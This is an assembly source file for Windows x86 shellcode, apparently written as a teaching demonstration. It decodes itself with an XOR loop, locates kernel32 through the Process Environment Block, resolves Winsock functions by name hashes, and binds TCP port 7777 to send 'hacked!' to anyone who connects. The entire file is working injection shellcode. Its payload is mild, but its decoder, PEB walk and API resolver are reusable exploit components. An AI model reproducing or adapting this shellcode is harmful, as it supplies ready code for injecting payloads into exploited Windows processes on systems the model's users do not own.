;
; Shellcode that binds to TCP port 7777 and returns the string "hacked!" to those who
; connect to it.
;
; Coded by Arne Vidstrom, http://ntsecurity.nu, http://vidstrom.net
;

        ; Decode the shellcode

        jmp	short first

second:

        pop	eax
        xor	ecx, ecx
        mov	cx, 409

nextone:	

        xor	byte [eax], 022h
        inc	eax
        loop	nextone
        jmp	short after

first:    

        call second

after:

        ; Set up a stack frame

        mov	ebp, esp
        sub	esp, 48

        ; Get a pointer to the PEB (Process Environment Block) from offset 30h in the TEB
        ; (Thread Environment Block)

	mov	eax, dword [fs:30h]

        ; Get the ProcessModuleInfo member of PEB - a pointer to a PEB_LDR_DATA structure

	mov	eax, dword [eax+0ch]

    	; Get the Flink member of the InInitOrderModuleList member of PEB_LDR_DATA - a
    	; pointer to the first entry in the list of loaded DLLs

	mov	eax, dword [eax+1ch]
	
        ; Get a pointer to the second entry in the list (the first one is ntdll.dll, the
        ; second one is kernel32.dll)

	mov	eax, dword [eax]

        ; Get the base address of the module and store it at ebp-4

	mov	eax, dword [eax+08h]
        mov	dword [ebp-4], eax

        ; Get the address of LoadLibraryA()

        mov	eax, dword [ebp-4]
        mov	esi, 0ec0e4e8eh
        call	get_function_address
        mov	dword [ebp-8], eax

        ; Load ws2_32.dll
        
        push	dword 0ff006c6ch
        push	dword 642e3233h
        push	dword 5f327377h
        push	esp
        call	[ebp-8]
        mov	dword [ebp-12], eax

        ; Get the address of WSAStartup()
        
        mov	eax, dword [ebp-12]
        mov	esi, 3bfcedcbh
        call	get_function_address
        mov	dword [ebp-16], eax

        ; Get the address of socket()
        
        mov	eax, dword [ebp-12]
        mov	esi,492f0b6eh
        call	get_function_address
        mov	dword [ebp-20], eax

        ; Get the address of bind()
        
        mov	eax, dword [ebp-12]
        mov	esi, 0c7701aa4h
        call	get_function_address
        mov	dword [ebp-24], eax

        ; Get the address of listen()
        
        mov	eax, dword [ebp-12]
        mov	esi, 0e92eada4h
        call	get_function_address
        mov	dword [ebp-28], eax

        ; Get the address of accept()
        
        mov	eax, dword [ebp-12]
        mov	esi, 498649e5h
        call	get_function_address
        mov	dword [ebp-32], eax

        ; Get the address of send()
        
        mov	eax, dword [ebp-12]
        mov	esi, 0e97019a4h
        call	get_function_address
        mov	dword [ebp-36], eax

        ; Get the address of closesocket()
        
        mov	eax, dword [ebp-12]
        mov	esi, 79c679e7h
        call	get_function_address
        mov	dword [ebp-40], eax

        ; Make enough space to store a WSADATA structure and push a pointer to it
        
        sub	esp, 400
        push	esp
        
        ; Push the winsock version requested

        mov	eax, 0101h
        push	eax

        ; Call WSAStartup()

        call	[ebp-16]

        ; Call socket()

        mov	eax, 6
        push	eax
        mov	eax, 1
        push	eax
        mov	eax, 2
        push	eax
        call	[ebp-20]
        mov	dword [ebp-44], eax

        ; Set up a sockaddr_in structure and put its address in ebx

        xor	eax, eax
        push	eax
        push	eax
        push	eax
        push	dword 611e0002h
        mov	ebx, esp

        ; Call bind()

        mov	eax, 16
        push	eax
        push	ebx
        push	dword [ebp-44]
        call	[ebp-24]

        ; Call listen()

        mov	eax, 5
        push	eax
        push	dword [ebp-44]
        call	[ebp-28]

socket_loop:

        ; Call accept()

        sub	esp, 16
        mov	eax, esp
        mov	ebx, 16
        push	ebx
        mov	ebx, esp
        push	ebx
        push	eax
        push	dword [ebp-44]
        call	[ebp-32]
        mov	dword [ebp-48], eax

        ; Call send()

        push	dword 00216465h
        push	dword 6b636168h
        mov	eax, esp
        xor	ebx, ebx
        push	ebx
        mov	ebx, 7
        push	ebx
        push	eax
        push	dword [ebp-48]
        call	[ebp-36]
        
        ; Call closesocket()

        push	dword [ebp-48]
        call	[ebp-40]

        jmp	socket_loop

	; ------------------------------------------------------
        ;
        ;   Subroutine name:
        ;
        ;  	 get_function_address
        ;
        ;   In:
        ;
        ; 	  EAX = base address of the module
        ; 	  ESI = the hash of the function we want to find
        ;
        ;   Out:
        ;
        ;  	 EAX = the address to the function
        ; -------------------------------------------------------

get_function_address:

    	; Get a relative pointer to IMAGE_NT_HEADERS

	mov	ebx, dword [eax+3ch]

    	; Get a relative pointer to the Export Table

    	mov	ebx, dword [eax+ebx+78h]

    	; Make the pointer absolute

    	add	ebx, eax

    	; Get the number of exported function names

    	mov	ecx, dword [ebx+18h]

    	; Get a pointer to the array of RVA's to exported function names

    	mov	edx, dword [ebx+20h]

	; Make the pointer absolute

	add	edx, eax

next_function:

        ; Calculate the next array index to use

        dec	ecx

        ; We might not have found the hash at all

        test	ecx, ecx
        jz	not_found

        ; Convert to index offset

        shl	ecx, 2       
        push	esi

        ; Get the name RVA of the currently indexed function

        mov	esi, dword [edx+ecx]

        ; Make the pointer absolute

        add	esi, eax

        ; Convert back to index value

        shr	ecx, 2

        ; Zero the hash value

        xor	edi, edi
        push	eax

next_character:

        ; Get the current byte of the function name

        xor	eax, eax
        mov	al, byte [esi]

        ; Have we reached the null at the end of the function name?

        test	al, al
        jz	end_of_name

        ; Rotate the hash value bits 13 steps to the right

        ror	edi, 13

        ; Add the current character to the hash value

        add	edi, eax

        ; Continue with the next character

        inc	esi
        jmp	next_character

end_of_name:

        pop	eax
        pop	esi

        ; Do the hashes match?

        cmp	edi, esi
        jnz	next_function

not_found:

        ; Get a pointer to the array of ordinals

        mov	edx, dword [ebx+24h]

        ; Make the pointer absolute

        add	edx, eax

        ; Convert to index offset

        shl	ecx, 1

        ; Get the ordinal of the function

        mov	dx, word [edx+ecx]
        xor	ecx, ecx
        mov	cx, dx

        ; Get a pointer to the array of function RVA's

        mov	edx, dword [ebx+1ch]

        ; Make the pointer absolute

        add	edx, eax

        ; Convert to index offset

        shl	ecx, 2

        ; Get a pointer to the function

        mov	esi, dword [edx+ecx]

        ; Make the pointer absolute

        add	esi, eax
        mov	eax, esi
        ret
    